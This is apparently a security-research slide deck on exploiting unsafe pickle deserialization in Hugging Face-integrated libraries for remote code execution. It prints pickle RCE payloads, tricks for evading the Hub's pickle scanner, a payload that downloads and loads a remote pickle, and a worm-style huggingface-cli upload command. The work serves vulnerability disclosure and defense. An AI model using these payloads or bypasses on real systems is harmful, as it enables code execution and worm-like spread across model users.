



How to Make Hugging Face to Hug Worms:

Discovering and Exploiting Unsafe Pickle.loads over Pre-Trained Large Model Hubs

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- Associate Professor at Shanghai University
- Bug hunter for Web/AI OSS: 30+ CVEs with high impacts
- Research Interests: Web/3 and AI security
- Published at: IEEE TDSC/TIFS, ISOC NDSS, ACM ACSAC, etc.
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whoami

Agenda

- Hugging Face Hub and pickle model
- Discovering unsafe pickle.loads
- Exploiting for reversed RCE
- Bypass pickle scanning
- Weaponizing with wormable payloads
- Demo & video & takeaway

Hugging Face Hub



Models

Browse 400k+ models

Datasets


Browse 100k+ datasets

Spaces

Browse 150k+ applications

APIs

Machine Learning Libraries Integrated in Hugging Face Hub



Pickle

Protobuf

MsgPack


Avro

Cap'n'proto



Safesensors

Serialization Formats

Hugging Face Hub




Machine Learning Libraries Integrated in Hugging Face Hub



Serialization Formats

Our Focus

The Pickle



Unpickler Example

Opcode & Stack

Pickle String

```
b'\x80\x03}q\x00X\x07\x00\x00\x00sym2idxq\x01ccollections\nOrderedDic  
t\nq\x02)Rq\x03(X\x05\x00\x00\x00<eos>q\x04K\x00X\x03\x00\x00\x00th  
eq\x05K\x01us.'
```

pickletools.dis



```
0: \x80 PROTO  3
2: }  EMPTY_DICT
3: q  BINPUT  0
5: X  BINUNICODE 'sym2idx'
17: q  BINPUT  1
19: c  GLOBAL   'collections OrderedDict'
44: q  BINPUT  2
46: )  EMPTY_TUPLE
47: R  REDUCE
48: q  BINPUT  3
50: (  MARK
51: X  BINUNICODE '<eos>'
61: q  BINPUT  4
63: K  BININT1  0
65: X  BINUNICODE 'the'
73: q  BINPUT  5
75: K  BININT1  1
77: u  SETITEMS (MARK at 50)
78: s  SETITEM
79: .  STOP
```

Object

pickle.loads



```
{'sym2idx':  
OrderedDict([('<eos>', 0),  
(('the', 1)])})
```

The Vulnerable code

Object with
__reduce__(self)



```
1578     def load_reduce(self):  
1579         stack = self.stack  
1580         args = stack.pop()  
1581         func = stack[-1]  
1582         stack[-1] = func(*args)  
1583         dispatch[REDUCE[0]] = load_reduce
```

```
1704     def load_build(self):  
1705         stack = self.stack  
1706         state = stack.pop()  
1707         inst = stack[-1]  
1708         setstate = getattr(inst, "__setstate__", None)  
1709         if setstate is not None:  
1710             setstate(state)  
1711         return
```



Object with
__setstate__

The Vulnerable code

Object with
`__reduce__(self)`



```
1578     def load_reduce(self):
1579         stack = self.stack
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1709         if setstate is not None:
1710             setstate(state)
1711         return
```



Object with
`__setstate__`

The Vulnerable code

Arbitrary Code Execution

```
0: \x80 PROTO      3
2: c   GLOBAL      '_main__ someObj'
20: )  EMPTY TUPLE
21: \x81 NEWOBJ
22: }  EMPTY_DICT
23: (  MARK
24: V   UNICODE     '__setstate__'
38: c   GLOBAL      'os system'
49: u   SETITEMS    (MARK at 23)
50: b   BUILD
51: V   UNICODE     'touch HACKED'
65: b   BUILD
66: .   STOP
```

```
1704      def load_build(self):
1705          stack = self.stack
1706          state = stack.pop()
1707          inst = stack[-1]
1708          setstate = getattr(inst, "__setstate__", None)
1709          if setstate is not None:
1710              setstate(state)
1711          return
```

```
1578      def load_reduce(self):
1579          stack = self.stack
1580          args = stack.pop()
1581          func = stack[-1]
1582          stack[-1] = func(*args)
1583          dispatch[REDUCE[0]] = load_reduce
```

```
0: \x80 PROTO      3
2: c   GLOBAL      'posix system'
16: X   BINUNICODE 'touch HACKED'
33: \x85 TUPLE1
34: R   REDUCE
35: .   STOP
```

Arbitrary Code Execution

[5] <https://github.com/trailofbits/fickling>

[6] Evan Sultanik and William Woodruff, "Never a dill moment: Exploiting machine learning pickle files" DEF CON AI Village 2021.

Pytorch in Pickle War

[7] <https://github.com/pytorch/pytorch/issues/52596>

pickle is a security issue #52596

[Open](#) KOLANICH opened this issue on Feb 22, 2021 · 10 comments

KOLANICH commented on Feb 22, 2021 · edited by pytorch-bot (bot) · ...

Feature

We need to do something with it.

Motivation

Pickle is a security issue that can be used to hide backdoors. Unfortunately lots of projects keep using `torch.save` and `torch.load`.

Pitch

- make `pytorch.load` use pickle only as a serialization format, use an own virtual machine (<https://github.com/CensoredUsername/picklemagic> can be helpful) for processing pickle files that will do only allowed operations in pytorch itself in a completely controlled way instead of relying on pickle machinery.
- replace with OI Safe way of loading only weights from *.pt file by default #52181
- deprecate `pyt`
- remove `pyt`

[Open](#) vadimkantorov opened this issue on Feb 12, 2021 · 57 comments

Alternatives

- support pickle

vadimkantorov commented on Feb 12, 2021 · edited · ...

That doesn't allow arbitrary unpickling and thus arbitrary code execution. Maybe an option for `torch.load`?

Yes, one should not load/run code from unknown locations, but sometimes intermediate controls could be good: e.g. allowing to load only known types, such as tensors (and not model instances or other things), bypassing generic unpickling mechanism

- maybe make it super-clear that `torch.hub.load` actually executes code at load/unpickling time

(I've long time been proponent of standardized formats for weight storage such as HDF5, but this didn't get traction)

cc @ezyang @gchanan @zou3519 @mruberry @nairbv @NicolasHug @vmoens @jdsgomes @bdhirsh @jbschlosser @anjali411 @ailzhang

Also, popularity of HuggingFace hub (and existing `torch.hub`) makes it more acute. At some point we will have a malicious model uploaded there and become popular on twitter e.g. because it would composite in very cute cats into existing images. The malicious model can at least hijack some precious GPU compute, and at worst take over institute / company local computer networks.

[19](#) [3](#)

albanD added [feature](#) [module: hub](#) [module: serialization](#) [triaged](#) labels on Feb 12, 2021

vadimkantorov mentioned this issue on Feb 23, 2021

pickle is a security issue #52596

[Open](#)

Solved in progress
2021-02 → 2022-10

[9] <https://github.com/pytorch/pytorch/blob/v2.1.0/torch/serialization.py>

```
960     torch._C._log_api_usage_once("torch.load")
961     UNSAFE_MESSAGE = (
962         "Weights only load failed. Re-running 'torch.load' with 'weights_only' set to 'False' "
963         "will likely succeed, but it can result in arbitrary code execution."
964         "Do it only if you get the file from a trusted source. WeightsUnpickler error: "
965     )
966     # Add ability to force safe only weight loads via environment variable
967     if os.getenv("TORCH_FORCE_WEIGHTS_ONLY_LOAD", "0").lower() in ['1', 'y', 'yes', 'true']:
968         weights_only = True
```


[10] https://github.com/pytorch/pytorch/blob/v2.1.0/torch/_weights_only_unpickler.py

```
69     def _get_allowed_globals():
70         rc: Dict[str, Any] = {
71             "collections.OrderedDict": OrderedDict,
72             "torch.nn.parameter.Parameter": torch.nn.Parameter,
73             "torch.serialization._get_layout": torch.serialization._get_layout,
74             "torch.Size": torch.Size,
75             "torch.Tensor": torch.Tensor,
76         }
77         # dtype
78         for t in [
79             torch.complex32,
80             torch.complex64,
81             torch.complex128,
82             torch.float16,
83             torch.float32,
84             torch.float64,
85             torch.int8,
86             torch.int16,
87             torch.int32,
88             torch.int64,
89         ]:
90             rc[str(t)] = t
91         # Tensor classes
92         for tt in torch._tensor_classes:
93             rc[f"{tt.__module__}.{tt.__name__}"] = tt
94         # Storage classes
95         for ts in torch._storage_classes:
96             rc[f"{ts.__module__}.{ts.__name__}"] = ts
97         # Rebuild functions
98         for f in [
99             torch._utils._rebuild_parameter,
100            torch._utils._rebuild_tensor,
101            torch._utils._rebuild_tensor_v2,
102            torch._utils._rebuild_sparse_tensor,
103            torch._utils._rebuild_meta_tensor_no_storage,
104        ]:
105             rc[f"torch._utils.{f.__name__}"] = f
106
107         # Handles Tensor Subclasses, Tensor's with attributes.
108         # NOTE: It calls into above rebuild functions for regular Tensor types.
109         rc["torch._tensor._rebuild_from_type_v2"] = torch._tensor._rebuild_from_type_v2
110
return rc
```

WHITE LIST MODULES

[8] <https://github.com/pytorch/pytorch/issues/52181>

The War continues in Hugging Face (HF)



The War continues in Hugging Face (HF)



Download

Remote Hugging Face Hub


WHITE LIST

`torch.load`

UNSAFE

`pickle.load(s)`

NO ALERTS





Machine Learning Libraries installed in HF users' Local Machines

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What is unsafe pickle.loads

```
231     def convert_maskformer_checkpoint(            
232         model_name: str, checkpoint_path: str, pytorch_dump_folder_path: str, push_to_hub: bool = False  
233     ):  
234         """  
235             Copy/paste/tweak model's weights to our MaskFormer structure.  
236         """  
237         config = get_maskformer_config(model_name)  
238  
239         # load original state_dict  
240         with open(checkpoint_path, "rb") as f:  
241             data = pickle.load(f)            
242             state_dict = data["model"]
```

Exploitable from HF Official Usage

The exploit triggered by
repo's "How to"

A screenshot of a GitHub repository page for 'zpbrent/RagRetriever'. The page shows a 'How to use from the library' section with the following code:

```
# Load model directly
from transformers import AutoTokenizer, RagRetriever

tokenizer = AutoTokenizer.from_pretrained("zpbrent/RagRetriever")
model = RagRetriever.from_pretrained("zpbrent/RagRetriever")
```

The code is highlighted with a red box. To the right of the code, there is a red callout bubble containing the text 'Copy them to run'. Above the code, a red box highlights the 'Use in Transformers' button. A large red cloud-shaped callout at the top left points to the 'How to' section with the text 'The exploit triggered by repo's "How to"'. On the right side of the page, there is a red box containing the text 'Click here'.

Exploitable from HF Official Usage

[12] <https://huggingface.co/docs/hub/rl-baselines3-zoo>



Using RL-Baselines3-Zoo at Hugging Face

rl-baselines3-zoo is a training framework for Reinforcement Learning using Stable Baselines3.

Exploring RL-Baselines3-Zoo in the Hub

You can find RL-Baselines3-Zoo models by filtering at the left of the [models page](#).

The Stable-Baselines3 team is hosting a collection of +150 trained Reinforcement Learning agents with tuned hyperparameters that you can find [here](#).

All models on the Hub come up with useful features:

1. An automatically generated model card with a description, a training configuration, and more.
2. Metadata tags that help for discoverability.
3. Evaluation results to compare with other models.
4. A video widget where you can watch your agent performing.

Using existing models

You can simply download a model from the Hub using `load_from_hub`:

```
# Download ppo SpaceInvadersNoFrameskip-v4 model and save it into the logs/ folder
python -m rl_zoo3.load_from_hub --algo dqn --env SpaceInvadersNoFrameskip-v4 -f logs/ -orga sb3
python enjoy.py --algo dqn --env SpaceInvadersNoFrameskip-v4 -f logs/
```

You can define three parameters:

- `--repo-name`: The name of the repo.
- `-orga`: A Hugging Face username or organization.
- `-f`: The destination folder.

Ref. to the example

Unsafe pickle.load(s) in Integrated Libraries

No.	Vendor	HF Library	# of pickle.load(s)	# of unsafe	# of HF exploitable
1	Hugging Face	transformers@v4.34.0	16	11	3
2	Baidu	PaddleNLP@v2.6.1	2	2	1
3	Meta Research	mbrl-lib@v0.2.0	1	1	1
4	NVIDIA	NeMo@v1.21.0	28	24	0
5	fast.ai	fastai@2.7.13	4	4	0
6	flairNLP	flair@v0.13.0	5	2	0
7	Unity Technologies	huggingface/ml-agents@main	2	0	0
8	DLR-RM	rl-baselines3-zoo@v2.1.0	2	2	0
9	DLR-RM	stable-baselines3@v2.1.0	4	3	1
10	Aleksei Petrenko	sample-factory@v2.1.1	1	0	0
11	skops-dev	skops@v0.9.0	1	1	0
12	SpeechBrain	speechbrain@v0.5.15	3	3	0
13	Stanford NLP	Stanza@v1.6.1	3	3	0
14	Hugging Face	pytorch-image-models/timm@v0.9.10	2	2	0
15	Meta Research	fairseq@v.0.12.3	1	0	0


Code review for 33 integrated HF libraries, **58** unsafe pickle.load(s)
found in **15** libraries and **6** exploitable from HF official usage

More details at: [Pickle.loads_in_HF.xlsx](#)


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Threat Model



Exploiting for Reversed RCE



RCE Payloads

Opcode & Stack

Pickle String

```
b'\x80\x03cposix\ns  
ystem\nq\x00X\x0c\  
x00\x00\x00touch  
HACKEDq\x01\x85q\  
x02Rq\x03.'
```

```
pickletools.dis
```



```
0: \x80 PROTO 3  
2: c GLOBAL 'posix system'  
16: q BINPUT 0  
18: X BINUNICODE 'touch HACKED'  
35: q BINPUT 1  
37: \x85 TUPLE1  
38: q BINPUT 2  
40: R REDUCE  
41: q BINPUT 3  
43: . STOP
```

```
def __reduce__(self):  
    pickle.loads('return (os.system, ("touch HACKED",))')
```

```
→
```

RCE Payloads

Opcode & Stack

Pickle String

```
b'\x80\x03cposix\nsyste\nq\x00X\x0c\x00\x00\x00touch\nHACKEDq\x01\x85q\x02Rq\x03.'
```

```
pickletools.dis
```



```
0: \x80 PROTO 3  
2: c GLOBAL 'posix system'  
16: q BINPUT 0  
18: X BINUNICODE 'touch HACKED'  
35: q BINPUT 1  
37: \x85 TUPLE1  
38: q BINPUT 2  
40: R REDUCE  
41: q BINPUT 3  
43: . STOP
```

```
def __reduce__(self):  
    pickle.loads('return (os.system, ("touch HACKED",))')
```

Object



This model has one file that has been marked as unsafe.
▶ View unsafe files

Detected Pickle imports (3)
"posix.system"




Agenda


- Hugging Face Hub and pickle model
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Pickle Scanning


Hugging Face Hub



In-depth



In-depth



White list




Display in white

Black list




Display in red

Orange others



Display in orange

In-depth



White list



Display in white
No alert

Black list



Display in red
Unsafe alert shown

Orange others



Display in orange
No alert


The Art of Bypass

A game of hide and seek




Trick 1: Code Reuse

Vulnerable library or its dependencies



Pickle file




Display in orange
No alert


Reuse orange functions

Trick 1: Code Reuse (More Sophisticated)

Vulnerable library or its dependencies




Pickle file



Display in orange
No alert


Orange functions as gadgets to wrap black-listed functions

Trick 2: CONFIG Abuse



Trick 3: Format Encode

Other formats, e.g., JSON, XML etc.





Display in white
No alert

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

Threat Model Extended

Hugging Face Hub




Threat Model Extended

Hugging Face Hub




Threat Model Extended

Hugging Face Hub



Threat Model Extended


Hugging Face Hub



Wormable Payloads

```
huggingface-cli upload [repo name] [cache path]/model--[*]--[repo name]/snapshots/*/ 2>/dev/null 1>/dev/null
```

Wormable Payloads



Wormable Payloads

Example

```
huggingface-cli upload RagRetriever ~/.cache/huggingface/hub/model--*--RagRetriever/snapshots/*/ 2>/dev/null 1>/dev/null
```

Agenda

- Hugging Face Hub and pickle model
- Discovering unsafe pickle.loads
- Exploiting for reversed RCE
- Bypass pickle scanning
- Weaponizing with wormable payloads
- Demo & video & takeaway

Demo Summary

No.	HF Library	Vulnerable Code	Model	Demo Location	Reversed RCE	Bypass Tricks	Worm
1	transformers@v4.34.0	src/transformers/models/rag/retrieval Rag.py#L135	RagRetriever	https://huggingface.co/zpbrent/RagRetriever	touch HACKED	CONFIG Abuse	Yes
2	transformers@v4.34.0	src/transformers/models/rag/retrieval Rag.py#L144	RagRetriever	https://huggingface.co/zpbrent/RagRetriever	touch HACKED-2	CONFIG Abuse	Yes
3	transformers@v4.34.0	src/transformers/models/transfo_xl/tokenization_transfo_xl.py#L210	transfo-xl	https://huggingface.co/zpbrent/transfo-xl	touch HACKED	Code Reuse	Yes
4	PaddleNLP@v2.6.1	paddlenlp/transformers/ernie/tokenizer.py#L678	ErnieTiny	https://huggingface.co/zpbrent/PaddleNLP-ErnieTiny	touch HACKED	Code Reuse	Yes
5	mbrl-lib@v0.2.0	mbrl/util/math.py#L164	OneDTransitionReward Model	https://huggingface.co/zpbrent/basic-mbrl	touch HACKED	Leave it as a challenge for your take 😊	TBD
6	stable-baselines3@v2.1.0	stable_baselines3/common/save_util.py#L164	BaseAlgorithm	https://huggingface.co/zpbrent/a2c-LunarLander-v2	touch HACKED	Format Encode	Yes

The Vendors involved in Exploitable Libraries



Hugging Face

∞ Meta


飞桨 PaddleNLP



All demos are private, but we can make them public upon request

Demo 1: RagRetriever - Overview

Hugging Face Hub



Demo 1: RagRetriever – Code Path

Source

```

323     class RagRetriever:
324         ...
376
418     @classmethod
419     def from_pretrained(cls, retriever_name_or_path, indexed_dataset=None, **kwargs):
420         requires_backends(cls, backends=["datasets", "faiss"])
421         config = kwargs.pop("config", None) or RagConfig.from_pretrained(retriever_name_or_path, **kwargs)
422         rag_tokenizer = RagTokenizer.from_pretrained(retriever_name_or_path, config=config)
423         question_encoder_tokenizer = rag_tokenizer.question_encoder
424         generator_tokenizer = rag_tokenizer.generator
425         if indexed_dataset is not None:
426             config.index_name = "custom"
427             index = CustomHFIIndex(config.retrieval_vector_size, indexed_dataset)
428         else:
429             index = cls._build_index(config)
430         return cls(
431             config,
432             question_encoder_tokenizer=question_encoder_tokenizer,
433             generator_tokenizer=generator_tokenizer,
434             index=index,
435         )
    
```

</> How to use from the  library

```

# Load model directly
from transformers import AutoTokenizer, RagRetriever
tokenizer = AutoTokenizer.from_pretrained("zpbrent/RagRetriever")
model = RagRetriever.from_pretrained("zpbrent/RagRetriever")
    
```



```

323     class RagRetriever:
324         ...
376
395     @staticmethod
396     def _build_index(config):
397         if config.index_name == "legacy":
398             return LegacyIndex(
399                 config.retrieval_vector_size,
400                 config.index_path or LEGACY_INDEX_PATH,
401             )
    
```



```

90     class LegacyIndex(Index):
91         ...
101
102         INDEX_FILENAME = "hf_bert_base.hnswSQ8_correct_phi_128.c_index"
103         PASSAGE_FILENAME = "psgs_w100.tsv.pkl"
104
105     def __init__(self, vector_size, index_path):
106         self.index_id_to_db_id = []
107         self.index_path = index_path
108         self.passages = self._load_passages()
109         self.vector_size = vector_size
110         self.index = None
111         self._index_initialized = False
    
```

[13] https://github.com/huggingface/transformers/blob/v4.34.1/src/transformers/models/rag/retrieval_rag.py

```

90     class LegacyIndex(Index):
91         ...
113     def _resolve_path(self, index_path, filename):
114         is_local = os.path.isdir(index_path)
115         try:
116             # Load from URL or cache if already cached
117             resolved_archive_file = cached_file(index_path, filename)
    
```

↓ Malicious pickle file

Fetch PASSAGE_FILENAME from self.index_path by hf_hub_download()

```

90     class LegacyIndex(Index):
91         ...
131     def _load_passages(self):
132         logger.info(f"Loading passages from {self.index_path}")
133         passages_path = self._resolve_path(self.index_path, self.PASSAGE_FILENAME)
134         with open(passages_path, "rb") as passages_file:
135             passages = pickle.load(passages_file)
136         return passages
    
```

Class attribute PASSAGE_FILENAME of `transformers.models.rag.retrieval_rag.LegacyIndex`
`PASSAGE_FILENAME: Any = "psgs_w100.tsv.pkl"`

Sink

Demo 1: RagRetriever – Bypass Trick

zpbrent/RagRetriever/config.json

```

1  {
2    "architectures": [
3      "RagRetriever"
4    ],
5    "dataset": "wiki_dpr",
6    "dataset_split": "train",
7    "do_deduplication": true,
8    "do_marginalize": false,
9    "doc_sep": " // ",
10   "exclude_bos_score": false,
11   "generator": {"_num_labels": 3...},
12   "index_name": "legacy",
13   "index_path": "zpbrent/RagReuse",
14   "is_encoder_decoder": true,
15   "label_smoothing": 0.0,
16   "max_combined_length": 300,
17   "model_type": "rag",
18   "n_docs": 5,
19   "output_retrieved": false,
20   "passages_path": null,
21   "question_encoder": {"add_cross_attention": false...},
22   "reduce_loss": false,
23   "retrieval_batch_size": 8,
24   "retrieval_vector_size": 768,
25   "title_sep": " / ",
26   "use_dummy_dataset": false,
27   "vocab_size": null
28 }

```

```

323 class RagRetriever:
324     ...
325
326     @staticmethod
327     def _build_index(config):
328         if config.index_name == "legacy":
329             return LegacyIndex(
330                 config.retrieval_vector_size,
331                 config.index_path or LEGACY_INDEX_PATH,
332             )

```

<https://huggingface.co/zpbrent/RagReuse>

This model has one file that has been marked as unsafe.

Malicious payloads

Malicious payloads

Trick 2: CONFIG Abuse

<https://huggingface.co/zpbrent/RagRetriever>

<https://huggingface.co/zpbrent/RagRetriever>

Display in white
No alert

Demo 1: RagRetriever – Bypass Trick

One more trick:

A long file name of the malicious pickle can bypass the scanning too

The screenshot shows a GitHub repository page for 'zpbrent/RagReuseNoAlert'. The repository has 0 stars, 0 forks, and 0 issues. It includes a Model card, Files and versions, Community, and Settings tab. The 'Files and versions' tab is selected, showing the following files:

- Upload folder using huggingface_hub (8860ffcc) [VERIFIED]
- .gitattributes (1.52 kB) initial commit
- README.md (21 Bytes) Upload folder using huggingface_hub
- hf_bert_base.hnswSQ8_correct_phi_128.c_i... (2.61 kB) Upload folder using huggingface_hub
- hf_bert_base.hnswSQ8_correct_phi_128.c_i... (368 Bytes) Upload folder using huggingface_hub [highlighted with a red box]
- psgs_w100.tsv.pkl (322 Bytes) [pickle] LFS Upload folder using huggingface_hub


hf_bert_base.hnswSQ8_correct_phi_128.c_index.index_meta.dpr

The terminal output shows the contents of the file 'hf_bert_base.hnswSQ8_correct_phi_128.c_index.index_meta.dpr' in hex format. A red arrow points from the highlighted file in the GitHub screenshot to this terminal output.

```
0: \x80 PROTO      3
2: c   GLOBAL      'posix system'
16: X   BINUNICODE 'touch HACKED'
33: \x85 TUPLE1
34: R   REDUCE
35: .   STOP
```


Demo 1: RagRetriever – How to

<https://huggingface.co/zpbrent/RagRetriever>



Load model directly
from transformers import AutoTokenizer, RagRetriever

tokenizer = AutoTokenizer.from_pretrained("zpbrent/RagRetriever")
model = RagRetriever.from_pretrained("zpbrent/RagRetriever")



```
$ huggingface-cli login --token [your token with write permission]  
  
$ python test.py
```


test.py
Load model directly
from transformers import AutoTokenizer, RagRetriever

tokenizer = AutoTokenizer.from_pretrained("zpbrent/RagRetriever")
model = RagRetriever.from_pretrained("zpbrent/RagRetriever")

Public upon request



Demo 2: ErnieTiny - Overview



Demo 2: ErnieTiny – Code Path

```
[15] 1223 class PretrainedTokenizerBase(SpecialTokensMixin):
1224     """Base class for ['PretrainedTokenizer']...."""
1290
1291     resource_files_names: Dict[str, str] = {}
1292     pretrained_resource_files_map: Dict[str, Dict[str, str]] = {}
1293     pretrained_init_configuration: Dict[str, Dict[str, Any]] = {}
1294     max_model_input_sizes: Dict[str, Optional[int]] = {}
1295     _auto_class: Optional[str] = None
1296     tokenizer_config_file = TOKENIZER_CONFIG_NAME

[14] 676 class PretrainedTokenizer(ChatTemplateMixin, PretrainedTokenizerBase):
677     """Base class for all tokenizers...."""

[13] 575 class ErnieTinyTokenizer(PretrainedTokenizer):
576     """
577     resource_files_names = {
578         "sentencepiece_model_file": "spm_cased_simp_sampled.model",
579         "vocab_file": "vocab.txt",
580         "word_dict": "dict.wordseg.pickle",
581     } # for save_pretrained
582     pretrained_resource_files_map = {
583         "vocab_file": {"ernie-tiny": "https://bj.bcebos.com/paddlenlp/models/transformers/ernie_tiny/vocab.txt"},
584         "sentencepiece_model_file": {
585             "ernie-tiny": "https://bj.bcebos.com/paddlenlp/models/transformers/ernie_tiny/spm_cased_simp_sampled.model"
586         },
587         "word_dict": {
588             "ernie-tiny": "https://bj.bcebos.com/paddlenlp/models/transformers/ernie_tiny/dict.wordseg.pickle"
589     }
```

[14] <https://github.com/PaddlePaddle/PaddleNLP/blob/v2.6.1/paddlenlp/transformers/ernie/tokenizer.py>
[15] https://github.com/PaddlePaddle/PaddleNLP/blob/v2.6.1/paddlenlp/transformers/tokenizer_utils.py
[16] https://github.com/PaddlePaddle/PaddleNLP/blob/v2.6.1/paddlenlp/transformers/tokenizer_utils_base.py

```
[13] 647     def __init__(self,
648                 vocab_file,
649                 sentencepiece_model_file,
650                 word_dict,
651                 ):
652         if not os.path.isfile(vocab_file):
653             raise ValueError(f"vocab_file {vocab_file} does not exist")
654         if not os.path.isfile(word_dict):
655             raise ValueError(f"word_dict {word_dict} does not exist")
656         self.dict = pickle.load(open(word_dict, "rb"))

[13]
```

Sink

</> How to use from the paddlenlp library

```
from paddlenlp.transformers import AutoTokenizer, ErnieTinyTokenizer

tokenizer = AutoTokenizer.from_pretrained("zpbrent/PaddleNLP-ErnieTiny", use_auth_token=True, from_hf_hub=False)
model = ErnieTinyTokenizer.from_pretrained("zpbrent/PaddleNLP-ErnieTiny", use_auth_token=True, from_hf_hub=False)

[15] 1223 class PretrainedTokenizerBase(SpecialTokensMixin):
1224     """Base class for ['PretrainedTokenizer']...."""
1290
1291     def from_pretrained(cls, pretrained_model_name_or_path, *args, from_hf_hub=False, subfolder=None, **kwargs):
1292         """
1293         pretrained_model_name_or_path = str(pretrained_model_name_or_path)
1294         cache_dir = kwargs.pop("cache_dir", None)
1295         from_aistudio = kwargs.pop("from_aistudio", None)
1296         cache_dir = resolve_cache_dir(pretrained_model_name_or_path, from_hf_hub, cache_dir)
1297         vocab_files = {}
1298         init_configuration = {}
1299
1300         additional_files_names = {...}
1301
1302         vocab_files_target = {**cls.resource_files_names, **additional_files_names}
1303
1304         elif os.path.isdir(pretrained_model_name_or_path):
1305             vocab_files_target["tokenizer_config_file"] = cls.tokenizer_config_file
1306             for file_id, file_name in vocab_files_target.items():
1307                 full_file_name = os.path.join(pretrained_model_name_or_path, file_name)
1308                 if os.path.isfile(full_file_name):
1309                     vocab_files[file_id] = full_file_name
1310
1311             for file_id, file_path in vocab_files.items():
1312                 if file_path is None or os.path.isfile(file_path):
1313                     if from_aistudio:
1314                         resolved_vocab_files[file_id] = hf_hub_download(
1315                             repo_id=pretrained_model_name_or_path,
1316                             filename=file_path,
1317                             subfolder=subfolder,
1318                             cache_dir=cache_dir,
1319                             library_name="PaddleNLP",
1320                             library_version=__version__,
1321                         )
1322
1323             for args_name, file_path in resolved_vocab_files.items():
1324                 if args_name not in init_kwargs:
1325                     init_kwargs[args_name] = file_path
1326
1327             # TODO(qusheng): avoid reduplication of position args and key word args
1328             tokenizer = cls(*init_args, **init_kwargs)
```

Source


Malicious pickle file

50

Demo 2: ErnieTiny – Bypass Trick

Trick 1: Code Reuse

zpbrent/PaddleNLP-ErnieTiny/dict.wordseg.pickle




```

0: \x80 PROTO      3
2: c   GLOBAL      'urllib.request.urlretrieve'
30: q   BINPUT      0
32: X   BINUNICODE  'https://zpbrent.github.io/pocs/touch.pkl'
77: q   BINPUT      1
79: X   BINUNICODE  '.touch.pkl'
94: q   BINPUT      2
96: \x86 TUPLE2
97: q   BINPUT      3
99: R   REDUCE
100: q  BINPUT      4
102: 0  POP
103: \x80 PROTO      3
105: c   GLOBAL      'paddlenlp.transformers.gpt.modeling_pp.get_attr'
154: q   BINPUT      5
156: c   GLOBAL      'paddlenlp.taskflow.utils.WordTagRelationExtractor'
207: q   BINPUT      6
209: X   BINUNICODE  'from_pkl'
222: q   BINPUT      7
224: \x86 TUPLE2
225: q   BINPUT      8
227: R   REDUCE
228: q   BINPUT      9
230: X   BINUNICODE  '.touch.pkl'
245: q   BINPUT      10
247: \x85 TUPLE1
248: q   BINPUT      11
250: R   REDUCE
251: q   BINPUT      12
253: 0  POP

```

<https://huggingface.co/zpbrent/PaddleNLP-ErnieTiny>



zpbrent/PaddleNLP-ErnieTiny

Model card Files and versions Community Settings

main PaddleNLP-ErnieTiny

zpbrent Upload dict.wordseg.pickle 60d500a

.gitattributes 1.53 kB

README.md 51.7 kB

config.json 619 Bytes

dict.wordseg.pickle pickle 166 MB LFS

model_state.pdparams 1.53 kB

special_tokens_map.json 1.53 kB

spm_cased_simp_sample 1.53 kB

tokenizer_config.json 1.53 kB

vocab.txt 187 kB

Detected Pickle imports (3)


"urllib.request.urlretrieve",
"paddlenlp.taskflow.utils.WordTagRelationExtractor",
"paddlenlp.transformers.gpt.modeling_pp.get_attr"

How to fix it?

Display in orange
No alert

Demo 2: ErnieTiny – How to

<https://huggingface.co/zpbrent/PaddleNLP-ErnieTiny>



PaddleNLP-ErnieTiny

Model card

How to use from the paddlenlp library

```
from paddlenlp.transformers import AutoTokenizer, ErnieTinyTokenizer
tokenizer = AutoTokenizer.from_pretrained("zpbrent/PaddleNLP-ErnieTiny", use_auth_token=True, from_hf
model = ErnieTinyTokenizer.from_pretrained("zpbrent/PaddleNLP-ErnieTiny", use_auth_token=True, from_h
```

Copy

Use in paddlenlp

Intro

ERNIE 3.0 Models are lightweight models obtained from Wenxin large model ERNIE 3.0 using distillation technology. The model structure is consistent with ERNIE 2.0, and has a stronger Chinese effect than ERNIE 2.0.

For a detailed explanation of related technologies, please refer to the article [解析全球最大中文单体模型](#) 百度文心技术细节



\$ python test.py


test.py

```
from paddlenlp.transformers import AutoTokenizer, ErnieTinyTokenizer
tokenizer = AutoTokenizer.from_pretrained("zpbrent/PaddleNLP-ErnieTiny",
use_auth_token=True, from_hf_hub=True)
model = ErnieTinyTokenizer.from_pretrained("zpbrent/PaddleNLP-ErnieTiny",
use_auth_token=True, from_hf_hub=True)
```



Public upon request

Demo 3: a2c in sb3 - Overview



Demo 3: a2c in sb3 – Code Path

Usage (with SB3 RL Zoo)

```

130 def json_to_data(json_string: str, custom_objects: Optional[Dict[str, Any]]):
131     """
132         Turn JSON serialization of class-parameters back into dictionary.
133     """
134     for data_key, data_item in json_dict.items():
135         if custom_objects is not None and data_key in custom_objects:
136             # If item is provided in custom_objects, replace
137             # the one from JSON with the one in custom_objects
138             return_data[data_key] = custom_objects[data_key]
139         elif isinstance(data_item, dict) and ":serialized:" in data_item.keys():
140             # If item is dictionary with ":serialized:" key, this means it is serialized with cloudpickle.
141             serialization = data_item[":serialized:"]
142             # Try-except deserialization in case we run into
143             # errors. If so, we can tell bit more information to
144             # user.
145             try:
146                 base64_object = base64.b64decode(serialization.encode())
147                 deserialized_object = cloudpickle.loads(base64_object)
148             except Exception as e:
149                 print(f"Error deserializing {data_key}: {e}")
150             return_data[data_key] = deserialized_object
151     return return_data
152
153
154
155
156
157
158
159
160
161
162
163
164

```

Source

Sink

```

367 def load_from_zip_file(
368     load_path: Union[str, pathlib.Path, io.BufferedIOBase],
369     load_data: bool = True,
370     custom_objects: Optional[Dict[str, Any]] = None,
371     device: Union[th.device, str] = "auto",
372     verbose: int = 0,
373     print_system_info: bool = False,
374 ) -> Tuple[Optional[Dict[str, Any]], TensorDict, Optional[TensorDict]]:
375     """Load model data from a .zip archive..."""
376     load_path = open_path(load_path, mode="r", verbose=verbose, suffix=".zip")
377     if "data" in namelist and load_data:
378         # Load class parameters that are stored
379         # with either JSON or pickle (not PyTorch variables).
380         json_data = archive.read("data").decode()
381         data = json_to_data(json_data, custom_objects=custom_objects)
382
383     class A2C(OnPolicyAlgorithm):
384         ...
385     class OnPolicyAlgorithm(BaseAlgorithm):
386         ...
387     class BaseAlgorithm(ABC):
388         ...
389
390     Advantage Actor Critic (A2C) The base for On-Policy algorithms (168) The base of RL algorithms

```

Malicious pickle file

[17] https://github.com/DLR-RM/rl-baselines3-zoo/blob/v2.1.0/rl_zoo3/load_from_hub.py

```

102 if __name__ == "__main__":
103     parser = argparse.ArgumentParser()
104     parser.add_argument("--env", help="environment ID", type=EnvironmentName, required=True)
105     parser.add_argument("-f", "--folder", help="Log folder", type=str, required=True)
